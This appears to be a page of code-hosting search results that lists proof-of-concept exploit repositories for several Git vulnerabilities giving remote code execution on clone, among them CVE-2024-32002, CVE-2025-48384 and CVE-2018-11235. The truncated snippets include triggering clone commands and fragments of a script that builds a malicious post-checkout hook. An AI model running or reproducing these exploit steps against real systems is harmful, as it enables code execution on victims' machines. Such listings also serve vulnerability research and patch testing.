663 matches found
hook
amalmurali47/hook This repository is part of the PoC for exploiting CVE-2024-32002, a vulnerability in Git that allows RCE during a git clone operation. This repository contains the malicious hook used in the exploit. Overview For detailed instructions and an explanation of how the exploit works,...
CVE-2025-48384
PoC for CVE-2025-48384 See CVE-2025-48384 To run: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git Example output: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test Cloning into 'test'... done. 'ubmodule...
CVE-2018-11235
CVE-2018-11235 Vulnerability Overview Vulnerability Name: Git Security Vulnerability CNNVD ID: CNNVD-201805-1020 Severity Level: High CVE ID: CVE-2018-11235 Vulnerability Type: Security Feature Issue Published Date: 2018-05-31 Threat Type: Remote Updated Date: 2019-04-01 Vendor: git-scm...
CVE-2018-11235
PoC exploit for CVE-2018-11235 GitHub is not allowing me to push a repository exploiting the vulnerability good point for them, so you will have to build it yourself by running the build.sh script. Then, push the repository somewhere. When you clone it with the --recurse-submodules flag, the evil...
CVE-2025-48384
CVE-2025-48384: Breaking git with a carriage return and cloning RCE Reproduction from https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. All credits to David Leadbeater. This is a basic reproduction attempt of the vulnerability. To trigger, do git clone --recursive...
CVE-2018-11235-Git-Submodule-CE
CVE-2018-11235-Git-Submodule-CE CVE-2018-11235-Git PoC Pull from Docker docker pull qweraqq/cve-2018-11235-git-submodule-rce Start Git Http Server docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce PoC git clone --recurse-submodules http://git.gitserver/malicious.git...
CVE-2024-32002-Exploit
!/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...
CVE-2025-48384-test
Reproduce Command Line git clone --recursive https://github.com/beishanxueyuan/CVE-2025-48384-test.git 修改指向的GitHub仓库 git init repo git -C repo -c protocol.file.allow=always submodule add https://github.com/beishanxueyuan/CVE-2025-48384.git sub git -C repo mv sub $printf "sub\r" git config unset -...
CVE-2025-48384-submodule
See https://github.com/liamg/CVE-2025-48384...
CVE-2018-17456
CVE-2018-17456 Vulnerability Overview Vulnerability Name: Git Input Validation Error Vulnerability CNNVD ID: CNNVD-201810-234 Hazard Level: Critical CVE ID: CVE-2018-17456 Vulnerability Type: Input Validation Error Published Date: 2018-10-08 Threat Type: Remote Updated Date: 2019-04-25 Vendor:...
CVE-2025-48384-submodule
CVE-2025-48384 Submodule This submodule contains a malicious post-checkout hook for demonstration...
CVE-2017-1000117
CVE-2017-1000117 Malicious actors can craft "ssh://…" links to trick victims into accessing the malicious link when executing programs, thereby achieving command execution. This link can be placed in the .gitmodules file of a git project, so that when a victim performs git clone...
Exploit for CVE-2026-111760
POC-XPL-REAL-DO-NOT-GIT-CLONE-THIS PoC de bug bounty — CVE-...
CVE-2018-11235
CVE-2018-11235 RCE vulnerability to exec "git clone --recurse-submodule" CVE-2018-11235...
docker-cve-2022-39253-poc
docker host file read using cve-2022-39253 poc PoC reproduce environment $ docker run --name=cve-2022-39253 -ti -d ssst0n3/dockerarchive:gitcve-2022-39253 $ docker attach --detach-keys ctrl-x cve-2022-39253 use ctrl-x to exit container's terminal wait minutes for environment starting ... ... Ubun...
cve-2024-32002-poc-rce
CVE-2024-32002 RCE POC A POC for CVE-2024-32002 demonstrating Remote Code Execution RCE. See cve-2024-32002-poc-rce for the related submodule repository. What this repo contains A symlink with an arbitraty name that links to the .git directory. A .gitmodules file that defines the malicious...
CVE-2018-11235-DEMO
CVE-2018-11235 Usage chybeta@ubuntu git clone https://github.com/CHYbeta/CVE-2018-11235-DEMO.git chybeta@ubuntu cd CVE-2018-11235-DEMO chybeta@ubuntu /CVE-2018-11235-DEMO /usr/local/bin/git --version git version 2.17.0 chybeta@ubuntu /CVE-2018-11235-DEMO ./build.sh Analysis RCE with Git submodule...
CVE-2024-32002
GIT RCE CVE-2024-32002 Description | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | Exploit | First you need to create "calledrepo" "commandrepo" repos on git. | Victim will later call the calledrepo with "git clone --recursive calledrepo.git" that redirect to...
CVE-2017-1000117
CVE-2017-1000117 This module can be used to test whether you are vulnerable to CVE-2017-1000117 git clone https://github.com/timwr/CVE-2017-1000117.git --recurse-submodules ls CVE-2017-1000117 Output if you are vulnerable: $ git clone https://github.com/timwr/CVE-2017-1000117.git...